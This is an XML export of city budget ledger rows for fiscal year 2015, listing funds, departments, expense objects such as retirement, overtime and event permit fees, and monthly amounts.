<row _id="15755"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="15756"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1220.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1220.0</total></row>
<row _id="15757"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>105.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="15758"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>72.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72.0</total></row>
<row _id="15759"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>383.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>383.0</total></row>
<row _id="15760"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15761"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="15762"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150.0</total></row>
<row _id="15763"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13695.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13695.0</total></row>
<row _id="15764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14020.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14020.0</total></row>
<row _id="15765"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>92021.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>92021.0</total></row>
<row _id="15766"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15767"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>829.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>829.0</total></row>
<row _id="15768"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>240.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>240.0</total></row>
<row _id="15769"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2283.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2283.0</total></row>
<row _id="15770"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402670.0</object><object_description>FUTURE REPLACEMENT-CNG FACILIT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="15771"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>93425.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>93425.0</total></row>
<row _id="15772"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407210.0</object><object_description>EVENT PERMIT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-8900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8900.0</total></row>
<row _id="15773"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555170.0</object><object_description>MONITORING COSTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>312416.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>312416.0</total></row>
<row _id="15774"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>556050.0</object><object_description>LA MARATHON</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>171363.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>171363.0</total></row>
<row _id="15775"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2564.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2564.0</total></row>
<row _id="15776"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533690.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15777"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>578790.0</object><object_description>MISCELLANEOUS LITIGATION</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15778"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402150.0</object><object_description>MORTUARY SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-283879.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-283879.0</total></row>
<row _id="15779"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1060.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1060.0</total></row>
<row _id="15780"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1060.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1060.0</total></row>
<row _id="15781"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="15782"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1162.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1162.0</total></row>
<row _id="15783"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15500.0</total></row>
<row _id="15784"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>191925.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>191925.0</total></row>
<row _id="15785"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="15786"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3300.0</total></row>
<row _id="15787"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>35436.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35436.0</total></row>
<row _id="15788"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>86869.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>86869.0</total></row>
<row _id="15789"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7080.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7080.0</total></row>
<row _id="15790"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16800.0</total></row>
<row _id="15791"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10748.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10748.0</total></row>
<row _id="15792"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>990.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>990.0</total></row>
<row _id="15793"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="15794"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="15795"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>15529.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15529.0</total></row>
<row _id="15796"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>502.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>502.0</total></row>
<row _id="15797"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2100.0</total></row>
<row _id="15798"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2131808.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2131808.0</total></row>
<row _id="15799"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>86308.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>86308.0</total></row>
<row _id="15800"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8005.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8005.0</total></row>
<row _id="15801"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15802"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10283.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10283.0</total></row>
